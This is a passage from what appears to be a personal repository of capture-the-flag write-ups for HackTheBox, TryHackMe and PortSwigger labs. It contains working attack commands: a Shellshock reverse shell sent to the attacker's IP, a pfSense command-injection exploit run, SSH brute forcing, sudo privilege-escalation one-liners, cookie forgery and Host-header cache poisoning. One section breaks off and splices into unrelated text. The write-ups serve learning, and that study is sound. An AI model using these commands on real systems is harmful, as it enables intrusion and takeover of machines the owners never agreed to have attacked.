98 | USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
99 | uid=33(www-data) gid=33(www-data) groups=33(www-data)
100 | /bin/sh: can't access tty; job control turned off
101 | $ python -c "import pty; pty.spawn('/bin/bash')"
102 | www-data@popcorn:/$ su - firefart
103 | su - firefart
104 | Password:
105 |
106 | firefart@popcorn:~# ls
107 | ls
108 | root.txt
109 | ```
--------------------------------------------------------------------------------
/HackTheBox/EZ/sense.md:
--------------------------------------------------------------------------------
1 | # recon
2 | - nmap
3 | ```
4 | 80/tcp open http lighttpd 1.4.35
5 | |_http-server-header: lighttpd/1.4.35
6 | |_http-title: Did not follow redirect to https://sense.htb/
7 | |_https-redirect: ERROR: Script execution failed (use -d to debug)
8 | 443/tcp open ssl/https?
9 | |_ssl-date: TLS randomness does not represent time
10 | ```
11 | - linux like os -> ping ttl
12 | - http://sense.htb give me an error ->
13 | ```
14 | Potential DNS Rebind attack detected, see http://en.wikipedia.org/wiki/DNS_rebinding
15 | Try accessing the router by IP address instead of by hostname.
16 | ```
17 | - 200 with login page went access web page by entering IP addr
18 | - /index.php :PF Sense login page
19 | - defualt admin didnt works [link](https://pfsense-docs.readthedocs.io/en/latest/usermanager/pfsense-default-username-and-password.html)
20 | - /index.html : dragonfly bsd
21 |
22 | ## gobuster
23 | I use to wordlist this time, the first one I use for big.txt but I didnt get any good hit, I then try with the lowercase meddium and yea I got good hint on 2 .txt files
24 | ```console
25 | $ gobuster dir -u https://10.10.10.60/ -x txt,php,html -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 54 -k
26 |
27 | /classes (Status: 301)
28 | /css (Status: 301)
29 | /edit.php (Status: 200)
30 | /exec.php (Status: 200)
31 | /favicon.ico (Status: 200)
32 | /graph.php (Status: 200)
33 | /help.php (Status: 200)
34 | /includes (Status: 301)
35 | /index.php (Status: 200)
36 | /index.html (Status: 200)
37 | /installer (Status: 301)
38 | /interfaces.php (Status: 200)
39 | /javascript (Status: 301)
40 | /license.php (Status: 200)
41 | /pkg.php (Status: 200)
42 | /stats.php (Status: 200)
43 | /status.php (Status: 200)
44 | /system.php (Status: 200)
45 | /themes (Status: 301)
46 | /tree (Status: 301)
47 | /widgets (Status: 301)
48 | /wizards (Status: 301)
49 | /wizard.php (Status: 200)
50 | /xmlrpc.php (Status: 200)
51 | /~sys~ (Status: 403)
52 | /changelog.txt
53 | /system-users.txt
54 | ```
55 | - /changelog.txt
56 | ```
57 | # Security Changelog
58 |
59 | ### Issue
60 | There was a failure in updating the firewall. Manual patching is therefore required
61 |
62 | ### Mitigated
63 | 2 of 3 vulnerabilities have been patched.
64 |
65 | ### Timeline
66 | The remaining patches will be installed during the next maintenance window
67 | ```
68 | okey so 1 vulnerability still exist.
69 |
70 | - /system-users.txt
71 | ```
72 | ####Support ticket###
73 |
74 | Please create the following user
75 |
76 |
77 | username: Rohit
78 | password: company defaults
79 | ```
80 | so we get the cresential... but password? company defaults??? I guess it is the defualt password for pf sense which we found in the link above. now try to login with **rohit:pfsense**
81 |
82 |
83 | Boom we are in!
84 | -systeminfo
85 | ```
86 | 2.1.3-RELEASE (amd64)
87 | built on Thu May 01 15:52:13 EDT 2014
88 | FreeBSD 8.3-RELEASE-p16
89 | ```
90 | As we are already know from `/changelog.txt`. there is a serious vuln on the firewall which is not patch yet, so let google and find out.
91 |
92 |
93 | after some googling, I found exploit this version. [link](https://www.exploit-db.com/exploits/43560). so let use searchsploit to get the exploit script and lunch our attack
94 | ```
95 | kali@kali:~/HTB/sense$ searchsploit pfSense 2.1.4
96 | --------------------------------------------------------------- ---------------------------------
97 | Exploit Title | Path
98 | --------------------------------------------------------------- ---------------------------------
99 | pfSense < 2.1.4 - 'status_rrd_graph_img.php' Command Injection | php/webapps/43560.py
100 | --------------------------------------------------------------- ---------------------------------
101 | Shellcodes: No Results
102 | kali@kali:~/HTB/sense$ searchsploit -m php/webapps/43560.py
103 | Exploit: pfSense < 2.1.4 - 'status_rrd_graph_img.php' Command Injection
104 | URL: https://www.exploit-db.com/exploits/43560
105 | Path: /usr/share/exploitdb/exploits/php/webapps/43560.py
106 | File Type: Python script, ASCII text executable, with CRLF line terminators
107 |
108 | Copied to: /home/kali/HTB/sense/43560.py
109 | ```
110 | let check the exploit script
111 | ```
112 | kali@kali:~/HTB/sense$ python3 43560.py -h
113 | usage: 43560.py [-h] [--rhost RHOST] [--lhost LHOST] [--lport LPORT] [--username USERNAME]
114 | [--password PASSWORD]
115 |
116 | optional arguments:
117 | -h, --help show this help message and exit
118 | --rhost RHOST Remote Host
119 | --lhost LHOST Local Host listener
120 | --lport LPORT Local Port listener
121 | --username USERNAME pfsense Username
122 | --password PASSWORD pfsense Password
123 | ```
124 | okey let run it
125 | ```
126 | kali@kali:~/HTB/sense$ python3 43560.py --rhost 10.10.10.60 --lhost tun0 --lport 6969 --username rohit --password pfsense
127 | CSRF token obtained
128 | Running exploit...
129 | Exploit completed
130 | ```
131 | boom we got shell....... AS ROOT!!!
132 |
133 |
134 | go grab flags, GLHF
--------------------------------------------------------------------------------
/HackTheBox/EZ/shocky.md:
--------------------------------------------------------------------------------
1 | # recon
2 | - 80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
3 | - 2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
4 | 2222 -> rabbit hole...
5 |
6 | ## gobuster
7 | - /
8 | ```
9 | /cgi-bin/ (Status: 403)
10 | /cgi-bin/.html (Status: 403)
11 | /index.html (Status: 200)
12 | /server-status (Status: 403)
13 | ```
14 | - /cgi-bin/ since it is a linux then looking for .sh
15 | ```
16 | user.sh
17 | ```
18 | when GET / -> return
19 | ```
20 |
21 | Content-Type: text/plain
22 |
23 | Just an uptime test script
24 |
25 | 10:15:49 up 1:05, 0 users, load average: 0.00, 0.00, 0.00
26 | ```
27 | shocker??? -> shell shock.
28 |
29 | looking at this
30 | - https://github.com/s4n7h0/NSE/blob/master/http-shellshock.nse
31 | - https://book.hacktricks.xyz/pentesting/pentesting-web/cgi#shellshock
32 |
33 | try it out.
34 | ```
35 | kali@kali:~/HTB/shocker$ curl -H 'User-Agent: () { :; }; echo; echo "VULNERABLE TO SHELLSHOCK"' http://shocker.htb/cgi-bin/user.sh 2>/dev/null
36 | VULNERABLE TO SHELLSHOCK
37 |
38 | Content-Type: text/plain
39 |
40 | Just an uptime test script
41 |
42 | 10:15:49 up 1:05, 0 users, load average: 0.00, 0.00, 0.00
43 | ```
44 |
45 | # foot hold
46 |
47 | the victim server is vulnerable to shell shock. so let try to craft a bash reverse shell
48 |
49 | ```
50 | kali@kali:~/HTB/shocker$ curl -H 'User-Agent: () { :; }; echo; /bin/bash -i >& /dev/tcp/10.10.14.8/6969 0>&1' http://shocker.htb/cgi-bin/user.sh 2>/dev/null
51 | ```
52 | nc listen to port 6969
53 | ```
54 | kali@kali:~/HTB/shocker$ nc -nlvp 6969
55 | listening on [any] 6969 ...
56 | connect to [10.10.14.8] from (UNKNOWN) [10.10.10.56] 33820
57 | bash: no job control in this shell
58 | shelly@Shocker:/usr/lib/cgi-bin$
59 | ```
60 | go grab user flag
61 |
62 | # root
63 |
64 | run `linpeas.sh`
65 | ```
66 | [+] Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d
67 | [i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid
68 | Matching Defaults entries for shelly on Shocker:
69 | env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
70 |
71 | User shelly may run the following commands on Shocker:
72 | (root) NOPASSWD: /usr/bin/perl
73 | ```
74 |
75 | **GTFObin**: sudo perl -e 'exec "/bin/bash";'
76 |
77 | ```
78 | shelly@Shocker:/home/shelly$ sudo perl -e 'exec "/bin/bash";'
79 | sudo perl -e 'exec "/bin/bash";'
80 | root@Shocker:/home/shelly# whoami
81 | whoami
82 | root
83 | ```
84 | go grab root flag.
--------------------------------------------------------------------------------
/HackTheBox/EZ/swagshop.md:
--------------------------------------------------------------------------------
1 | # recon
2 | ## nmap
3 | - 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
4 | - 80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
5 |
6 | ## 80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
7 | - gobuster
8 | ```
9 | /app (Status: 301)
10 | /api.php (Status: 200)
11 | /cron.php (Status: 200)
12 | /errors (Status: 301)
13 | /favicon.ico (Status: 200)
14 | /includes (Status: 301)
15 | /index.php (Status: 200)
16 | /install.php (Status: 200)
17 | /js (Status: 301)
18 | /lib (Status: 301)
19 | /media (Status: 301)
20 | /pkginfo (Status: 301)
21 | /server-status (Status: 403)
22 | /shell (Status: 301)
23 | /skin (Status: 301)
24 | /var (Status: 301)
25 |
26 | ```
27 | - about us
28 | ```
29 | To all of you, from all of us at Magento Store - Thank you and Happy eCommerce!
30 |
31 | John Doe
32 | Some important guy
33 | ```
34 | - /js/ : `SYNTAX: index.php/x.js?f=dir1/file1.js,dir2/file2.js`
35 | - /install.php : `FAILED ERROR: Magento is already installed `
36 | - /shell
37 | ```
38 | [ ] abstract.php 2014-05-07 14:58 5.5K
39 | [ ] compiler.php 2014-05-07 14:58 4.3K
40 | [ ] indexer.php 2014-05-07 14:58 8.0K
41 | [ ] log.php 2014-05-07 14:58 5.8K
42 | ```
43 | - /errors
44 | ```
45 | [ ] 404.php 2014-05-07 14:58 1.0K
46 | [ ] 503.php 2014-05-07 14:58 1.0K
47 | [DIR] default/ 2014-05-07 14:58 -
48 | [ ] design.xml 2014-05-07 14:58 1.0K
49 | [ ] local.xml.sample 2014-05-07 14:58 1.6K
50 | [ ] processor.php 2014-05-07 14:58 16K
51 | [ ] report.php 2014-05-07 14:58 1.1K
52 | ```
53 | - /includes/ : config.php
54 | - **/lib/Magento/Db/Sql**
55 | - /index.php/admin : admin page
56 |
57 |
58 |
59 | ## foot hold
60 | from searchsploit I found an interesting exploit `Magento eCommerce - Remote Code Execution`. run `searchsploit -x
33 | ```
34 |
35 | ```
36 | POST /forgot-password HTTP/1.1
37 | Host: ac051fe31fa115bd809f1db800380059.web-security-academy.net:'click here to login with your new password: pUFVxOIq1g
Thanks, Support team
This email has been scanned by the MacCarthy Email Security service
42 | ```
43 |
44 | no way, I logged into the server with carlos but wasn't done taking note, and do more experiment.... can we redo the lab?
45 |
46 | # web cache poisoning
47 | I read in guideline on the PortSwigger, It is not to hard to understand how it works but I learn more when I listen so I youtube a bit on how web cache poisoning works. I couldn't make the extension works so I just try to add different header and end up with `HOST`
48 | ```
49 | GET / HTTP/1.1
50 | Host: ac971f5a1fb39ab7807d059500930022.web-security-academy.net
51 | Host: kuro.net
52 | ```
53 | an it seem like it works. line 19 in http response
54 | ```html
55 | ` but it didn't work. it end up like this
58 | ```html
59 |
61 | /resources/js/tracking.js">
62 |
63 | ```
64 | and ofc it didnt work, we even mess up the web. So I was thinking that what if I crate a server which `kurohat.net/resources/js/tracking.js` with the content `alert(document.cookie)` then it should works since the web page will load my malicious page on ``kurohat.net/resources/js/tracking.js`
65 |
66 |
67 | Instead of using our own website, we can use exploit server that the lab offering instead. create a page `/resources/js/tracking.js` with content `alert(document.cookie)` then click *store*. now copy the link and insert it as our 2nd `host` header. Use repeater to send our request util you get response with `Age: 0`. Try to visit the page, If you get an alert then we are good!!
68 |
69 |
70 | # Host header authentication bypass
71 | ```
72 | This lab makes an assumption about the privilege level of the user based on the HTTP Host header.
73 |
74 | To solve the lab, access the admin panel and delete Carlos's account.
75 | ```
76 | I assume that the admin page is at `/admin` and luckily I got it right! I send it to *Repeater* I tried to add like `X-Forwarded-For`/ `X-Forwarded-Host: localhost`. but it didnt work. I the just remove the original `host` parameter and replace it with localhost and boom, it work!! Now open it on web browser and click delete Carlos's account -> send it to *burp* and again replace the original host with localhost
77 |
78 | # Routing-based SSRF
79 | ```
80 | This lab is vulnerable to routing-based SSRF via the Host header. You can exploit this to access an insecure intranet admin panel located on an internal IP address.
81 |
82 | To solve the lab, access the internal admin panel located in the 192.168.0.0/24 range, then delete Carlos
83 | ```
84 | to create payload, run
85 | ```zsh
86 | $ python3 -c "for i in range (0,256): print(i);" > subnet.txt
87 | ```
88 | I tried, you need Burp PRO (Burp Collaborator) to solve this!
89 |
90 | # SSRF via flawed request parsing
91 | Also need, Burp PRO (Burp Collaborator)
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # write up
2 | Just my write up for CTF
--------------------------------------------------------------------------------
/TryHackMe/Bounty-hacker.md:
--------------------------------------------------------------------------------
1 | # recon
2 | nmap shows us that there are 3 open ports
3 | - 21/tcp open ftp
4 | - ftp-anon: Anonymous FTP login allowed (FTP code 230)
5 | - 22/tcp open ssh
6 | - 80/tcp open http
7 | - Apache/2.4.18 (Ubuntu)
8 | let run gobuster for directory brute forcing.
9 | ```
10 | $ gobuster dir -u http://$IP/ -w /usr/share/SecLists/Discovery/Web-Content/big.txt -x .php,.txt,.html -t 54
11 | ```
12 | in the meanwhile we waiting for gobuster result we can exaiming FTP port. Note that the FTP port is open for `Anonymous` login. what do it mean? yes, we can log in to FTP using `Anonymous` as username and password is not needed!
13 | ```
14 | $ ftp $IP
15 | ```
16 | use `ls` to list the file on the ftp. There are 2 files here. To get the file, run: `get `. Get both file to our kali so we can examing it.
17 |
18 | as mention there are 2 files:
19 | 1. locks.txt: this file looks like a password/wordlist. We might be able to use it for brute forcing
20 | 2. task.txt: a to do list wrote by *lin*
21 |
22 | What we have at this point is username=`lin` as passwords in `locks.txt`. Now you can for get about gobuster... we already got something really juicy here. Let get foot hold on the victim server.
23 |
24 | # foothold
25 | now let brute force ssh to get a foot hold on the victim server. We will use hydra to performe ssh brute forcing. If you dont know how hydra works. There is really good room on tryhackme that teaching you how to use hydra. so pls check it out
26 | ```console
27 | $ hydra -f -l lin -P locks.txt $IP -t 64 ssh
28 | ```
29 | Boom ! we got the password. now ssh to the victim server and go grab the user flag.
30 |
31 | # root
32 | we will start with checking what Lin allow to run super user by running `sudo -l`.
33 | ```console
34 | lin@bountyhacker:~/Desktop$ sudo -l
35 | [sudo] password for lin:
36 | Matching Defaults entries for lin on bountyhacker:
37 | env_reset, mail_badpass,
38 | secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
39 |
40 | User lin may run the following commands on bountyhacker:
41 | (root) /bin/tar
42 | ```
43 | As you see, we are allow to use run `tar` as root. When you see this, the first think need to do is visit `GTFObins` ([link](https://gtfobins.github.io/)) and search for tar (link [here](https://gtfobins.github.io/gtfobins/tar/)) you can go script kiddez style and copy and paste the code under `#sudo` to gain root or read more about how it works by do more research about it.
44 |
45 | anyhow, here is what we do.
46 | ```console
47 | lin@bountyhacker:~/Desktop$ sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
48 | tar: Removing leading `/' from member names
49 | # whoami
50 | root
51 | # cat /root/root.txt
52 | ```
--------------------------------------------------------------------------------
/TryHackMe/Easy/AdventOfCyber/day16.py:
--------------------------------------------------------------------------------
1 | # Day File Confusion, create by gu2rks
2 | import sys
3 | import os
4 | import zipfile
5 | import exiftool
6 |
7 | def task1():
8 | """
9 | How many files did you extract(excluding all the .zip files)
10 | """
11 | # get all files
12 | files = os.listdir('./final-final-compressed')
13 | for file in files:
14 | # now unzip it
15 | with zipfile.ZipFile('./final-final-compressed/'+file, 'r') as zip_ref:
16 | zip_ref.extractall('./extracted')
17 | # get all files agains
18 | extracted = os.listdir('./extracted')
19 | print('Extracted %s files' % len(extracted))
20 |
21 | def task2():
22 | """
23 | How many files contain Version: 1.1 in their metadata?
24 | Note: move this scrip inside ./extracted
25 | lookingfor = {'SourceFile': '4jGg.txt', 'ExifTool:ExifToolVersion': 11.94, 'File:FileName': '4jGg.txt',
26 | 'File:Directory': '.', 'File:FileSize': 2844, 'File:FileModifyDate': '2020:05:13 22:02:50-04:00',
27 | 'File:FileAccessDate': '2020:05:13 22:39:53-04:00', 'File:FileInodeChangeDate': '2020:05:13 22:02:50-04:00',
28 | 'File:FilePermissions': 644, 'File:FileType': 'MIE', 'File:FileTypeExtension': 'MIE', 'File:MIMEType': 'application/x-mie',
29 | 'XMP:XMPToolkit': 'Image::ExifTool 10.80', 'XMP:Version': 1.1}
30 | """
31 | count = 0
32 | files = os.listdir('./') # get all files
33 |
34 | with exiftool.ExifTool() as et: # get exiftool
35 | files_metadata = et.get_metadata_batch(files) # get all files metadata
36 | for metadata in files_metadata: # get file metadata one by one
37 | if 'XMP:Version' in metadata: # check if metadata contains 'XMP:Version'
38 | count = count + 1 # if so -> count it
39 |
40 | print('Total Version:1.1 files : %s' %count)
41 |
42 | def task3():
43 | """
44 | Which file contains the password?
45 | Note: move this scrip inside ./extracted
46 | password is 'scriptingpass'
47 | """
48 | files = os.listdir('./') # get all files
49 | for file in files: # get file name one by one
50 | with open(file, 'r', encoding = "ISO-8859-1") as reader: # open it
51 | data = reader.read() # read it
52 | if 'password' in data: # check if it contain password
53 | print(file) # if so -> print out file name
54 |
--------------------------------------------------------------------------------
/TryHackMe/Easy/AdventOfCyber/files.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kurohat/writeUp/438003d46e13c27bcafb4136b75344c2af39f762/TryHackMe/Easy/AdventOfCyber/files.zip
--------------------------------------------------------------------------------
/TryHackMe/Easy/AdventOfCyber/final-final-compressed.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kurohat/writeUp/438003d46e13c27bcafb4136b75344c2af39f762/TryHackMe/Easy/AdventOfCyber/final-final-compressed.zip
--------------------------------------------------------------------------------
/TryHackMe/Easy/AdventOfCyber/getflag.py:
--------------------------------------------------------------------------------
1 | # made by gu2rks@github
2 | import requests
3 | r = requests.get("http://10.10.169.100:3000")
4 | r = r.json()
5 | # {"value":"s","next":"f"}
6 | flag = r["value"]
7 | while True:
8 | r = requests.get("http://10.10.169.100:3000/"+str(r["next"]))
9 | r = r.json()
10 | if r["next"] == "end":
11 | break
12 | flag = flag + r["value"]
13 |
14 | print("the flag: "+ flag)
--------------------------------------------------------------------------------
/TryHackMe/Easy/AdventOfCyber2/Day1.md:
--------------------------------------------------------------------------------
1 | - linux server (from ping TTL)
2 | - password length > 5,
3 | - running php. I found out by request for `index.php` -> return 200. index.html -> return 440
4 |
5 | I created an account `kurohat:12345`. There is not much to see/do on the main page, only logout button. I then check dev tool -> cookie
6 | ```
7 | auth:7b22636f6d70616e79223a22546865204265737420466573746976616c20436f6d70616e79222c2022757365726e616d65223a226b75726f686174227d
8 | ```
9 | I assume that is a hex/base64 encoded string. let's use CyberChef to understand what the string represent! It turn out that it is a hex. This is the result when I convert it to a uft-8
10 | ```
11 | {"company":"The Best Festival Company", "username":"kurohat"}
12 | ```
13 | the plan is change username to santa (`{"company":"The Best Festival Company", "username":"santa"}`). Convert it into hex using CyberChef which will give us
14 | ```
15 | 7b22636f6d70616e79223a22546865204265737420466573746976616c20436f6d70616e79222c2022757365726e616d65223a2273616e7461227d
16 | ```
17 | now remove your cookie value and replace it with Santa's cookie -> hit F5 (refresh). BOOM! we are in as Santa
18 |
19 | Active each control to get flags
20 |
21 | # etc
22 | - SatNav = Satellite navigation
23 | - never use poor cookie!!!
--------------------------------------------------------------------------------
/TryHackMe/Easy/AdventOfCyber2/Day10.md:
--------------------------------------------------------------------------------
1 | start of with nmap.
2 | ```
3 | 22/tcp open ssh
4 | 139/tcp open netbios-ssn
5 | 445/tcp open microsoft-ds
6 | ```
7 | let's use enum4linux to enumerate smb, start with sharelist
8 | ```
9 | ```console
10 | $ /usr/share/enum4linux/enum4linux.pl -S 10.10.223.29
11 |
12 | =========================================
13 | | Share Enumeration on 10.10.223.29 |
14 | =========================================
15 |
16 | Sharename Type Comment
17 | --------- ---- -------
18 | tbfc-hr Disk tbfc-hr
19 | tbfc-it Disk tbfc-it
20 | tbfc-santa Disk tbfc-santa
21 | IPC$ IPC IPC Service (tbfc-smb server (Samba, Ubuntu))
22 | ```
23 | now let's enumerate users
24 | ```console
25 | $ /usr/share/enum4linux/enum4linux.pl -U 10.10.223.29
26 | =============================
27 | | Users on 10.10.223.29 |
28 | =============================
29 | index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: elfmcskidy Name: Desc:
30 | index: 0x2 RID: 0x3ea acb: 0x00000010 Account: elfmceager Name: elfmceager Desc:
31 | index: 0x3 RID: 0x3e9 acb: 0x00000010 Account: elfmcelferson Name: Desc:
32 | ```
33 | let use nmap (pymap) to enumerate smb and each sharelink to check if any of it allow anonymous login
34 | ```console
35 | $ sudo /opt/pymap.py -t 10.10.223.29 -smb
36 | Host script results:
37 | | smb-enum-shares:
38 | | account_used: guest
39 | | \\10.10.223.29\IPC$:
40 | | Type: STYPE_IPC_HIDDEN
41 | | Comment: IPC Service (tbfc-smb server (Samba, Ubuntu))
42 | | Users: 1
43 | | Max Users:
44 | | Path: C:\tmp
45 | | Anonymous access: READ/WRITE
46 | | Current user access: READ/WRITE
47 | | \\10.10.223.29\tbfc-hr:
48 | | Type: STYPE_DISKTREE
49 | | Comment: tbfc-hr
50 | | Users: 0
51 | | Max Users:
52 | | Path: C:\shares\tbfc-hr
53 | | Anonymous access:
54 | | Current user access:
55 | | \\10.10.223.29\tbfc-it:
56 | | Type: STYPE_DISKTREE
57 | | Comment: tbfc-it
58 | | Users: 0
59 | | Max Users:
60 | | Path: C:\shares\tbfc-hr
61 | | Anonymous access:
62 | | Current user access:
63 | | \\10.10.223.29\tbfc-santa:
64 | | Type: STYPE_DISKTREE
65 | | Comment: tbfc-santa
66 | | Users: 0
67 | | Max Users:
68 | | Path: C:\shares\tbfc-santa
69 | | Anonymous access: READ/WRITE
70 | |_ Current user access: READ/WRITE
71 | |_smb-enum-users: ERROR: Script execution failed (use -d to debug)
72 | ```
73 | as you can see, `tbfc-santa` have Anonymous READ/WRITE permission, connect to the share using `smbclient`, no need to enter password since it allows anonymous login
74 | ```console
75 | $ smbclient \\\\10.10.223.29\\tbfc-santa
76 | ```
--------------------------------------------------------------------------------
/TryHackMe/Easy/AdventOfCyber2/Day11.md:
--------------------------------------------------------------------------------
1 | ssh to the server using `cmnatic:aoc2020`. I will use `suid3num.py` to enumerate suid. I start by checking if the target server have wget and python3 pre-installed. python3 is used when execute `suid3num.py` and wget is use for get `suid3num.py` from our kali
2 | ```console
3 | -bash-4.4$ which python3
4 | /usr/bin/python3
5 | -bash-4.4$ which wget
6 | /usr/bin/wget
7 | ```
8 | now on kali, run python http server module
9 | ```console
10 | $ python3 -m http.server --cgi 8888
11 | ```
12 | on target server, use wget to download `suid3num.py`. and run it
13 | ```console
14 | -bash-4.4$ python3 suid3num.py
15 | [#] SUID Binaries in GTFO bins list (Hell Yeah!)
16 | ------------------------------
17 | /bin/bash -~> https://gtfobins.github.io/gtfobins/bash/#suid
18 | ------------------------------
19 |
20 |
21 | [$] Please try the command(s) below to exploit harmless SUID bin(s) found !!!
22 | ------------------------------
23 | [~] /bin/bash -p
24 | ------------------------------
25 | ```
26 | now run `/bin/bash -p` to gain root
27 | ```console
28 | -bash-4.4$ /bin/bash -p
29 | bash-4.4# whoami
30 | root
31 | ```
--------------------------------------------------------------------------------
/TryHackMe/Easy/AdventOfCyber2/Day12.md:
--------------------------------------------------------------------------------
1 | - port scanning
2 | ```
3 | [+] Port scanning...
4 | 3389/tcp open ms-wbt-server
5 | 8009/tcp open ajp13
6 | 8080/tcp open http-proxy
7 | [+] Enumerating open ports...
8 |
9 | PORT STATE SERVICE VERSION
10 | 8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
11 | | ajp-methods:
12 | |_ Supported methods: GET HEAD POST OPTIONS
13 |
14 |
15 | PORT STATE SERVICE VERSION
16 | 8080/tcp open http Apache Tomcat 9.0.17
17 | |_http-favicon: Apache Tomcat
18 | |_http-title: Apache Tomcat/9.0.17
19 |
20 |
21 | PORT STATE SERVICE VERSION
22 | 3389/tcp open ms-wbt-server?
23 | | rdp-ntlm-info:
24 | | Target_Name: TBFC-WEB-01
25 | | NetBIOS_Domain_Name: TBFC-WEB-01
26 | | NetBIOS_Computer_Name: TBFC-WEB-01
27 | | DNS_Domain_Name: tbfc-web-01
28 | | DNS_Computer_Name: tbfc-web-01
29 | | Product_Version: 10.0.17763
30 | |_ System_Time: 2020-12-12T18:34:26+00:00
31 | | ssl-cert: Subject: commonName=tbfc-web-01
32 | | Not valid before: 2020-11-27T01:29:04
33 | |_Not valid after: 2021-05-29T01:29:04
34 | |_ssl-date: 2020-12-12T18:34:27+00:00; +1s from scanner time.
35 | ```
36 | - cve https://www.trendmicro.com/en_us/research/19/d/uncovering-cve-2019-0232-a-remote-code-execution-vulnerability-in-apache-tomcat.html
37 | - http://:8080/cgi-bin/elfwhacker.bat
38 | ```console
39 | msf5 exploit(windows/http/tomcat_cgi_cmdlineargs) > set targeturi /cgi-bin/elfwhacker.bat
40 | targeturi => /cgi-bin/elfwhacker.bat
41 | msf5 exploit(windows/http/tomcat_cgi_cmdlineargs) > run
42 |
43 | [*] Started reverse TCP handler on 10.8.14.151:4444
44 | [*] Executing automatic check (disable AutoCheck to override)
45 | [+] The target is vulnerable.
46 | [*] Command Stager progress - 6.95% done (6999/100668 bytes)
47 | [*] Command Stager progress - 13.91% done (13998/100668 bytes)
48 | [*] Command Stager progress - 20.86% done (20997/100668 bytes)
49 | [*] Command Stager progress - 27.81% done (27996/100668 bytes)
50 | [*] Command Stager progress - 34.76% done (34995/100668 bytes)
51 | [*] Command Stager progress - 41.72% done (41994/100668 bytes)
52 | [*] Command Stager progress - 48.67% done (48993/100668 bytes)
53 | [*] Command Stager progress - 55.62% done (55992/100668 bytes)
54 | [*] Command Stager progress - 62.57% done (62991/100668 bytes)
55 | [*] Command Stager progress - 69.53% done (69990/100668 bytes)
56 | [*] Command Stager progress - 76.48% done (76989/100668 bytes)
57 | [*] Command Stager progress - 83.43% done (83988/100668 bytes)
58 | [*] Command Stager progress - 90.38% done (90987/100668 bytes)
59 | [*] Command Stager progress - 97.34% done (97986/100668 bytes)
60 | [*] Sending stage (176195 bytes) to 10.10.35.81
61 | [*] Command Stager progress - 100.02% done (100692/100668 bytes)
62 | [*] Meterpreter session 1 opened (10.8.14.151:4444 -> 10.10.35.81:49827) at 2020-12-12 13:47:58 -0500
63 | ```
64 | grab flag
65 | ```
66 | msf5 post(multi/recon/local_exploit_suggester) > set session 1
67 | session => 1
68 | msf5 post(multi/recon/local_exploit_suggester) > set showdescription true
69 | showdescription => true
70 | msf5 post(multi/recon/local_exploit_suggester) > run
71 |
72 | [*] 10.10.35.81 - Collecting local exploits for x86/windows...
73 | [*] 10.10.35.81 - 34 exploit checks are being tried...
74 | [+] 10.10.35.81 - exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move: The target appears to be vulnerable. Vulnerable Windows 10 v1809 build detected!
75 | This module exploits CVE-2020-0787, an arbitrary file move
76 | vulnerability in outdated versions of the Background Intelligent
77 | Transfer Service (BITS), to overwrite
78 | C:\Windows\System32\WindowsCoreDeviceInfo.dll with a malicious DLL
79 | containing the attacker's payload. To achieve code execution as the
80 | SYSTEM user, the Update Session Orchestrator service is then
81 | started, which will result in the malicious
82 | WindowsCoreDeviceInfo.dll being run with SYSTEM privileges due to a
83 | DLL hijacking issue within the Update Session Orchestrator Service.
84 | Note that presently this module only works on Windows 10 and Windows
85 | Server 2016 and later as the Update Session Orchestrator Service was
86 | only introduced in Windows 10. Note that only Windows 10 has been
87 | tested, so your mileage may vary on Windows Server 2016 and later.
88 | [+] 10.10.35.81 - exploit/windows/local/ikeext_service: The target appears to be vulnerable.
89 | This module exploits a missing DLL loaded by the 'IKE and AuthIP
90 | Keyring Modules' (IKEEXT) service which runs as SYSTEM, and starts
91 | automatically in default installations of Vista-Win8. It requires an
92 | insecure bin path to plant the DLL payload.
93 | [+] 10.10.35.81 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
94 | Module utilizes the Net-NTLMv2 reflection between DCOM/RPC to
95 | achieve a SYSTEM handle for elevation of privilege. Currently the
96 | module does not spawn as SYSTEM, however once achieving a shell, one
97 | can easily use incognito to impersonate the token.
98 | [*] Post module execution completed
99 | ```
--------------------------------------------------------------------------------
/TryHackMe/Easy/AdventOfCyber2/Day13.md:
--------------------------------------------------------------------------------
1 | use nmap to scan the server, you will se port 23 TELNET is open. let's connect to it
2 | ```console
3 | $ telnet $IP
4 | Trying 10.10.145.194...
5 | Connected to 10.10.145.194.
6 | Escape character is '^]'.
7 | HI SANTA!!!
8 |
9 | We knew you were coming and we wanted to make
10 | it easy to drop off presents, so we created
11 | an account for you to use.
12 |
13 | Username: santa
14 | Password: clauschristmas
15 |
16 | We left you cookies and milk!
17 |
18 | christmas login: santa
19 | Password:
20 | Last login: Sat Nov 21 20:37:37 UTC 2020 from 10.0.2.2 on pts/2
21 | \ /
22 | -->*<--
23 | /o\
24 | /_\_\
25 | /_/_0_\
26 | /_o_\_\_\
27 | /_/_/_/_/o\
28 | /@\_\_\@\_\_\
29 | /_/_/O/_/_/_/_\
30 | /_\_\_\_\_\o\_\_\
31 | /_/0/_/_/_0_/_/@/_\
32 | /_\_\_\_\_\_\_\_\_\_\
33 | /_/o/_/_/@/_/_/o/_/0/_\
34 | [___]
35 | ```
36 |
37 | I love John's Xmas tree <3
38 | ```bash
39 | $ cat christmas.sh
40 | #!/bin/bash
41 | trap "tput reset; tput cnorm; exit" 2
42 | clear
43 | tput civis
44 | lin=2
45 | col=$(($(tput cols) / 2))
